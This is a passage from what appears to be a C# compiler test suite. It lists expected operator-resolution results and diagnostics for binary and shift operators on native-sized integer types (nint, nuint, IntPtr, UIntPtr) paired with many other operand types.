binaryOps(symbol, "nuint?", "long", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "long"), getAmbiguousBinaryOpsDiagnostics(symbol, "long", "nuint?"));
binaryOps(symbol, "nuint?", "ulong", $"ulong ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint?", "float", $"float float.{name}(float left, float right)");
binaryOps(symbol, "nuint?", "double", $"double double.{name}(double left, double right)");
binaryOps(symbol, "nuint?", "decimal", $"decimal decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nuint?", "System.IntPtr");
binaryOps(symbol, "nuint?", "System.UIntPtr", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "bool?");
binaryOps(symbol, "nuint?", "char?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "sbyte?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "byte?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "short?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "ushort?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "int?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "int?"), getAmbiguousBinaryOpsDiagnostics(symbol, "int?", "nuint?"));
binaryOps(symbol, "nuint?", "uint?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "nint?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "nint?"), getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "nuint?"));
binaryOps(symbol, "nuint?", "nuint?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "long?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "long?"), getAmbiguousBinaryOpsDiagnostics(symbol, "long?", "nuint?"));
binaryOps(symbol, "nuint?", "ulong?", $"ulong ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint?", "float?", $"float float.{name}(float left, float right)");
binaryOps(symbol, "nuint?", "double?", $"double double.{name}(double left, double right)");
binaryOps(symbol, "nuint?", "decimal?", $"decimal decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nuint?", "System.IntPtr?");
binaryOps(symbol, "nuint?", "System.UIntPtr?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.IntPtr", "object");
binaryOps(symbol, "System.IntPtr", "string", $"string string.{name}(object left, string right)", $"string string.{name}(string left, object right)");
binaryOps(symbol, "System.IntPtr", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "System.IntPtr", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "System.IntPtr", includeVoidError: true));
binaryOps(symbol, "System.IntPtr", "bool");
binaryOps(symbol, "System.IntPtr", "char", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr", "sbyte", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr", "byte", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr", "short", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr", "ushort", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr", "int", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr", "uint");
binaryOps(symbol, "System.IntPtr", "nint", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "System.IntPtr", "nuint");
binaryOps(symbol, "System.IntPtr", "long");
binaryOps(symbol, "System.IntPtr", "ulong");
binaryOps(symbol, "System.IntPtr", "float");
binaryOps(symbol, "System.IntPtr", "double");
binaryOps(symbol, "System.IntPtr", "decimal");
binaryOps(symbol, "System.IntPtr", "System.IntPtr");
binaryOps(symbol, "System.IntPtr", "System.UIntPtr");
binaryOps(symbol, "System.IntPtr", "bool?");
binaryOps(symbol, "System.IntPtr", "char?", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr", "sbyte?", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr", "byte?", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr", "short?", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr", "ushort?", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr", "int?", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr", "uint?");
binaryOps(symbol, "System.IntPtr", "nint?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "System.IntPtr", "nuint?");
binaryOps(symbol, "System.IntPtr", "long?");
binaryOps(symbol, "System.IntPtr", "ulong?");
binaryOps(symbol, "System.IntPtr", "float?");
binaryOps(symbol, "System.IntPtr", "double?");
binaryOps(symbol, "System.IntPtr", "decimal?");
binaryOps(symbol, "System.IntPtr", "System.IntPtr?");
binaryOps(symbol, "System.IntPtr", "System.UIntPtr?");
binaryOps(symbol, "System.IntPtr", "object");
binaryOps(symbol, "System.IntPtr?", "string", $"string string.{name}(object left, string right)", $"string string.{name}(string left, object right)");
binaryOps(symbol, "System.IntPtr?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "System.IntPtr?", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "System.IntPtr?", includeVoidError: true));
binaryOps(symbol, "System.IntPtr?", "bool");
binaryOps(symbol, "System.IntPtr?", "char", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr?", "sbyte", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr?", "byte", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr?", "short", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr?", "ushort", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr?", "int", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr?", "uint");
binaryOps(symbol, "System.IntPtr?", "nint", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "System.IntPtr?", "nuint");
binaryOps(symbol, "System.IntPtr?", "long");
binaryOps(symbol, "System.IntPtr?", "ulong");
binaryOps(symbol, "System.IntPtr?", "float");
binaryOps(symbol, "System.IntPtr?", "double");
binaryOps(symbol, "System.IntPtr?", "decimal");
binaryOps(symbol, "System.IntPtr?", "System.IntPtr");
binaryOps(symbol, "System.IntPtr?", "System.UIntPtr");
binaryOps(symbol, "System.IntPtr?", "bool?");
binaryOps(symbol, "System.IntPtr?", "char?", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr?", "sbyte?", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr?", "byte?", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr?", "short?", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr?", "ushort?", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr?", "int?", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr?", "uint?");
binaryOps(symbol, "System.IntPtr?", "nint?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "System.IntPtr?", "nuint?");
binaryOps(symbol, "System.IntPtr?", "long?");
binaryOps(symbol, "System.IntPtr?", "ulong?");
binaryOps(symbol, "System.IntPtr?", "float?");
binaryOps(symbol, "System.IntPtr?", "double?");
binaryOps(symbol, "System.IntPtr?", "decimal?");
binaryOps(symbol, "System.IntPtr?", "System.IntPtr?");
binaryOps(symbol, "System.IntPtr?", "System.UIntPtr?");
binaryOps(symbol, "System.UIntPtr", "object");
binaryOps(symbol, "System.UIntPtr", "string", $"string string.{name}(object left, string right)", $"string string.{name}(string left, object right)");
binaryOps(symbol, "System.UIntPtr", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "System.UIntPtr", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "System.UIntPtr", includeVoidError: true));
binaryOps(symbol, "System.UIntPtr", "bool");
binaryOps(symbol, "System.UIntPtr", "char", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr", "sbyte", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr", "byte", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr", "short", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr", "ushort", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr", "int", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr", "uint");
binaryOps(symbol, "System.UIntPtr", "nint");
binaryOps(symbol, "System.UIntPtr", "nuint", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.UIntPtr", "long");
binaryOps(symbol, "System.UIntPtr", "ulong");
binaryOps(symbol, "System.UIntPtr", "float");
binaryOps(symbol, "System.UIntPtr", "double");
binaryOps(symbol, "System.UIntPtr", "decimal");
binaryOps(symbol, "System.UIntPtr", "System.IntPtr");
binaryOps(symbol, "System.UIntPtr", "System.UIntPtr");
binaryOps(symbol, "System.UIntPtr", "bool?");
binaryOps(symbol, "System.UIntPtr", "char?", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr", "sbyte?", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr", "byte?", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr", "short?", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr", "ushort?", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr", "int?", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr", "uint?");
binaryOps(symbol, "System.UIntPtr", "nint?");
binaryOps(symbol, "System.UIntPtr", "nuint?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.UIntPtr", "long?");
binaryOps(symbol, "System.UIntPtr", "ulong?");
binaryOps(symbol, "System.UIntPtr", "float?");
binaryOps(symbol, "System.UIntPtr", "double?");
binaryOps(symbol, "System.UIntPtr", "decimal?");
binaryOps(symbol, "System.UIntPtr", "System.IntPtr?");
binaryOps(symbol, "System.UIntPtr", "System.UIntPtr?");
binaryOps(symbol, "System.UIntPtr", "object");
binaryOps(symbol, "System.UIntPtr?", "string", $"string string.{name}(object left, string right)", $"string string.{name}(string left, object right)");
binaryOps(symbol, "System.UIntPtr?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "System.UIntPtr?", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "System.UIntPtr?", includeVoidError: true));
binaryOps(symbol, "System.UIntPtr?", "bool");
binaryOps(symbol, "System.UIntPtr?", "char", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr?", "sbyte", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr?", "byte", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr?", "short", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr?", "ushort", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr?", "int", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr?", "uint");
binaryOps(symbol, "System.UIntPtr?", "nint");
binaryOps(symbol, "System.UIntPtr?", "nuint", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.UIntPtr?", "long");
binaryOps(symbol, "System.UIntPtr?", "ulong");
binaryOps(symbol, "System.UIntPtr?", "float");
binaryOps(symbol, "System.UIntPtr?", "double");
binaryOps(symbol, "System.UIntPtr?", "decimal");
binaryOps(symbol, "System.UIntPtr?", "System.IntPtr");
binaryOps(symbol, "System.UIntPtr?", "System.UIntPtr");
binaryOps(symbol, "System.UIntPtr?", "bool?");
binaryOps(symbol, "System.UIntPtr?", "char?", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr?", "sbyte?", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr?", "byte?", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr?", "short?", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr?", "ushort?", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr?", "int?", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr?", "uint?");
binaryOps(symbol, "System.UIntPtr?", "nint?");
binaryOps(symbol, "System.UIntPtr?", "nuint?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.UIntPtr?", "long?");
binaryOps(symbol, "System.UIntPtr?", "ulong?");
binaryOps(symbol, "System.UIntPtr?", "float?");
binaryOps(symbol, "System.UIntPtr?", "double?");
binaryOps(symbol, "System.UIntPtr?", "decimal?");
binaryOps(symbol, "System.UIntPtr?", "System.IntPtr?");
binaryOps(symbol, "System.UIntPtr?", "System.UIntPtr?");
}
foreach ((string symbol, string name) in shiftOperators)
{
binaryOps(symbol, "nint", "object");
binaryOps(symbol, "nint", "string");
binaryOps(symbol, "nint", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nint", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "nint", includeVoidError: true));
binaryOps(symbol, "nint", "bool");
binaryOps(symbol, "nint", "char", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint", "sbyte", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint", "byte", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint", "short", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint", "ushort", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint", "int", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint", "uint");
binaryOps(symbol, "nint", "nint");
binaryOps(symbol, "nint", "nuint");
binaryOps(symbol, "nint", "long");
binaryOps(symbol, "nint", "ulong");
binaryOps(symbol, "nint", "float");
binaryOps(symbol, "nint", "double");
binaryOps(symbol, "nint", "decimal");
binaryOps(symbol, "nint", "System.IntPtr");
binaryOps(symbol, "nint", "System.UIntPtr");
binaryOps(symbol, "nint", "bool?");
binaryOps(symbol, "nint", "char?", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint", "sbyte?", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint", "byte?", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint", "short?", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint", "ushort?", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint", "int?", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint", "uint?");
binaryOps(symbol, "nint", "nint?");
binaryOps(symbol, "nint", "nuint?");
binaryOps(symbol, "nint", "long?");
binaryOps(symbol, "nint", "ulong?");
binaryOps(symbol, "nint", "float?");
binaryOps(symbol, "nint", "double?");
binaryOps(symbol, "nint", "decimal?");
binaryOps(symbol, "nint", "System.IntPtr?");
binaryOps(symbol, "nint", "System.UIntPtr?");
binaryOps(symbol, "nint", "object");
binaryOps(symbol, "nint?", "string");
binaryOps(symbol, "nint?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nint?", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "nint?", includeVoidError: true));
binaryOps(symbol, "nint?", "bool");
binaryOps(symbol, "nint?", "char", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint?", "sbyte", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint?", "byte", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint?", "short", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint?", "ushort", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint?", "int", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint?", "uint");
binaryOps(symbol, "nint?", "nint");
binaryOps(symbol, "nint?", "nuint");
binaryOps(symbol, "nint?", "long");
binaryOps(symbol, "nint?", "ulong");
binaryOps(symbol, "nint?", "float");
binaryOps(symbol, "nint?", "double");
binaryOps(symbol, "nint?", "decimal");
binaryOps(symbol, "nint?", "System.IntPtr");
binaryOps(symbol, "nint?", "System.UIntPtr");
binaryOps(symbol, "nint?", "bool?");
binaryOps(symbol, "nint?", "char?", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint?", "sbyte?", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint?", "byte?", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint?", "short?", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint?", "ushort?", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint?", "int?", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint?", "uint?");
binaryOps(symbol, "nint?", "nint?");
binaryOps(symbol, "nint?", "nuint?");
binaryOps(symbol, "nint?", "long?");
binaryOps(symbol, "nint?", "ulong?");
binaryOps(symbol, "nint?", "float?");
binaryOps(symbol, "nint?", "double?");
binaryOps(symbol, "nint?", "decimal?");
binaryOps(symbol, "nint?", "System.IntPtr?");
binaryOps(symbol, "nint?", "System.UIntPtr?");
binaryOps(symbol, "nuint", "object");
binaryOps(symbol, "nuint", "string");
binaryOps(symbol, "nuint", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nuint", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "nuint", includeVoidError: true));
binaryOps(symbol, "nuint", "bool");
binaryOps(symbol, "nuint", "char", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint", "sbyte", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint", "byte", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint", "short", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint", "ushort", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint", "int", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint", "uint");
binaryOps(symbol, "nuint", "nint");
binaryOps(symbol, "nuint", "nuint");
binaryOps(symbol, "nuint", "long");
binaryOps(symbol, "nuint", "ulong");
binaryOps(symbol, "nuint", "float");
binaryOps(symbol, "nuint", "double");
binaryOps(symbol, "nuint", "decimal");
binaryOps(symbol, "nuint", "System.IntPtr");
binaryOps(symbol, "nuint", "System.UIntPtr");
binaryOps(symbol, "nuint", "bool?");
binaryOps(symbol, "nuint", "char?", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint", "sbyte?", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint", "byte?", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint", "short?", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint", "ushort?", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint", "int?", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint", "uint?");
binaryOps(symbol, "nuint", "nint?");
binaryOps(symbol, "nuint", "nuint?");
binaryOps(symbol, "nuint", "long?");
binaryOps(symbol, "nuint", "ulong?");
binaryOps(symbol, "nuint", "float?");
binaryOps(symbol, "nuint", "double?");
binaryOps(symbol, "nuint", "decimal?");
binaryOps(symbol, "nuint", "System.IntPtr?");
binaryOps(symbol, "nuint", "System.UIntPtr?");
binaryOps(symbol, "nuint?", "object");
binaryOps(symbol, "nuint?", "string");
binaryOps(symbol, "nuint?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nuint?", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "nuint?", includeVoidError: true));
binaryOps(symbol, "nuint?", "bool");
binaryOps(symbol, "nuint?", "char", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint?", "sbyte", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint?", "byte", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint?", "short", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint?", "ushort", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint?", "int", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint?", "uint");
binaryOps(symbol, "nuint?", "nint");
binaryOps(symbol, "nuint?", "nuint");
binaryOps(symbol, "nuint?", "long");
binaryOps(symbol, "nuint?", "ulong");
binaryOps(symbol, "nuint?", "float");
binaryOps(symbol, "nuint?", "double");
binaryOps(symbol, "nuint?", "decimal");
binaryOps(symbol, "nuint?", "System.IntPtr");
binaryOps(symbol, "nuint?", "System.UIntPtr");
binaryOps(symbol, "nuint?", "bool?");
binaryOps(symbol, "nuint?", "char?", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint?", "sbyte?", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint?", "byte?", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint?", "short?", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint?", "ushort?", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint?", "int?", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint?", "uint?");
binaryOps(symbol, "nuint?", "nint?");
binaryOps(symbol, "nuint?", "nuint?");
binaryOps(symbol, "nuint?", "long?");
binaryOps(symbol, "nuint?", "ulong?");
binaryOps(symbol, "nuint?", "float?");
binaryOps(symbol, "nuint?", "double?");
binaryOps(symbol, "nuint?", "decimal?");
binaryOps(symbol, "nuint?", "System.IntPtr?");
binaryOps(symbol, "nuint?", "System.UIntPtr?");
binaryOps(symbol, "System.IntPtr", "object");
binaryOps(symbol, "System.IntPtr", "string");
binaryOps(symbol, "System.IntPtr", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "System.IntPtr", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "System.IntPtr", includeVoidError: true));
binaryOps(symbol, "System.IntPtr", "bool");
binaryOps(symbol, "System.IntPtr", "char");
binaryOps(symbol, "System.IntPtr", "sbyte");
binaryOps(symbol, "System.IntPtr", "byte");
binaryOps(symbol, "System.IntPtr", "short");
binaryOps(symbol, "System.IntPtr", "ushort");
binaryOps(symbol, "System.IntPtr", "int");
binaryOps(symbol, "System.IntPtr", "uint");
binaryOps(symbol, "System.IntPtr", "nint");
binaryOps(symbol, "System.IntPtr", "nuint");
binaryOps(symbol, "System.IntPtr", "long");
binaryOps(symbol, "System.IntPtr", "ulong");
binaryOps(symbol, "System.IntPtr", "float");
binaryOps(symbol, "System.IntPtr", "double");
binaryOps(symbol, "System.IntPtr", "decimal");
binaryOps(symbol, "System.IntPtr", "System.IntPtr");
binaryOps(symbol, "System.IntPtr", "System.UIntPtr");
binaryOps(symbol, "System.IntPtr", "bool?");
binaryOps(symbol, "System.IntPtr", "char?");
binaryOps(symbol, "System.IntPtr", "sbyte?");
binaryOps(symbol, "System.IntPtr", "byte?");
binaryOps(symbol, "System.IntPtr", "short?");
binaryOps(symbol, "System.IntPtr", "ushort?");
binaryOps(symbol, "System.IntPtr", "int?");
binaryOps(symbol, "System.IntPtr", "uint?");
binaryOps(symbol, "System.IntPtr", "nint?");
binaryOps(symbol, "System.IntPtr", "nuint?");
binaryOps(symbol, "System.IntPtr", "long?");
binaryOps(symbol, "System.IntPtr", "ulong?");
binaryOps(symbol, "System.IntPtr", "float?");
binaryOps(symbol, "System.IntPtr", "double?");
binaryOps(symbol, "System.IntPtr", "decimal?");
binaryOps(symbol, "System.IntPtr", "System.IntPtr?");
binaryOps(symbol, "System.IntPtr", "System.UIntPtr?");
binaryOps(symbol, "System.IntPtr", "object");
binaryOps(symbol, "System.IntPtr?", "string");
binaryOps(symbol, "System.IntPtr?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "System.IntPtr?", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "System.IntPtr?", includeVoidError: true));
binaryOps(symbol, "System.IntPtr?", "bool");
binaryOps(symbol, "System.IntPtr?", "char");
binaryOps(symbol, "System.IntPtr?", "sbyte");
binaryOps(symbol, "System.IntPtr?", "byte");
binaryOps(symbol, "System.IntPtr?", "short");
binaryOps(symbol, "System.IntPtr?", "ushort");
binaryOps(symbol, "System.IntPtr?", "int");
binaryOps(symbol, "System.IntPtr?", "uint");
binaryOps(symbol, "System.IntPtr?", "nint");
binaryOps(symbol, "System.IntPtr?", "nuint");
binaryOps(symbol, "System.IntPtr?", "long");
binaryOps(symbol, "System.IntPtr?", "ulong");
binaryOps(symbol, "System.IntPtr?", "float");
binaryOps(symbol, "System.IntPtr?", "double");
binaryOps(symbol, "System.IntPtr?", "decimal");
binaryOps(symbol, "System.IntPtr?", "System.IntPtr");
binaryOps(symbol, "System.IntPtr?", "System.UIntPtr");
binaryOps(symbol, "System.IntPtr?", "bool?");
binaryOps(symbol, "System.IntPtr?", "char?");
binaryOps(symbol, "System.IntPtr?", "sbyte?");
binaryOps(symbol, "System.IntPtr?", "byte?");
binaryOps(symbol, "System.IntPtr?", "short?");
binaryOps(symbol, "System.IntPtr?", "ushort?");
binaryOps(symbol, "System.IntPtr?", "int?");
binaryOps(symbol, "System.IntPtr?", "uint?");
binaryOps(symbol, "System.IntPtr?", "nint?");
binaryOps(symbol, "System.IntPtr?", "nuint?");
binaryOps(symbol, "System.IntPtr?", "long?");
binaryOps(symbol, "System.IntPtr?", "ulong?");
binaryOps(symbol, "System.IntPtr?", "float?");
binaryOps(symbol, "System.IntPtr?", "double?");
binaryOps(symbol, "System.IntPtr?", "decimal?");
binaryOps(symbol, "System.IntPtr?", "System.IntPtr?");
binaryOps(symbol, "System.IntPtr?", "System.UIntPtr?");
binaryOps(symbol, "System.UIntPtr", "object");
binaryOps(symbol, "System.UIntPtr", "string");
binaryOps(symbol, "System.UIntPtr", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "System.UIntPtr", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "System.UIntPtr", includeVoidError: true));
binaryOps(symbol, "System.UIntPtr", "bool");
binaryOps(symbol, "System.UIntPtr", "char");
binaryOps(symbol, "System.UIntPtr", "sbyte");
binaryOps(symbol, "System.UIntPtr", "byte");
binaryOps(symbol, "System.UIntPtr", "short");
binaryOps(symbol, "System.UIntPtr", "ushort");
binaryOps(symbol, "System.UIntPtr", "int");
binaryOps(symbol, "System.UIntPtr", "uint");
binaryOps(symbol, "System.UIntPtr", "nint");
binaryOps(symbol, "System.UIntPtr", "nuint");
binaryOps(symbol, "System.UIntPtr", "long");
binaryOps(symbol, "System.UIntPtr", "ulong");
binaryOps(symbol, "System.UIntPtr", "float");
binaryOps(symbol, "System.UIntPtr", "double");
binaryOps(symbol, "System.UIntPtr", "decimal");
binaryOps(symbol, "System.UIntPtr", "System.IntPtr");
binaryOps(symbol, "System.UIntPtr", "System.UIntPtr");
binaryOps(symbol, "System.UIntPtr", "bool?");
binaryOps(symbol, "System.UIntPtr", "char?");
binaryOps(symbol, "System.UIntPtr", "sbyte?");
binaryOps(symbol, "System.UIntPtr", "byte?");
